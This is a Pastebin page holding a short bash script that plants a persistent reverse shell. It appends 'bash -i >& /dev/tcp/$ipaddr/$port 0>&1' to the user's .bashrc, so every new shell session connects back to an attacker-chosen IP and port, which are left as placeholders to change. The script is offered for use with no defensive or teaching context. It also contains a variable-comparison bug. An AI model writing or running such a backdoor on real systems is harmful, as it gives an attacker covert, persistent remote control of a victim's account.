Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- currentDir=$PWD
- ipaddr=127.0.0.1 # Change This
- port=4444 # Change This
- command="bash -i >& /dev/tcp/$ipaddr/$port 0>&1" # If you want you can change also this
- function main {
- if [ currentDir == "/home/$USER" ];
- then
- echo $command >> .bashrc
- elif [ currentDir != "/home/$USER" ];
- then
- cd /home/$USER
- echo $command >> .bashrc
- fi
- }
- main
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement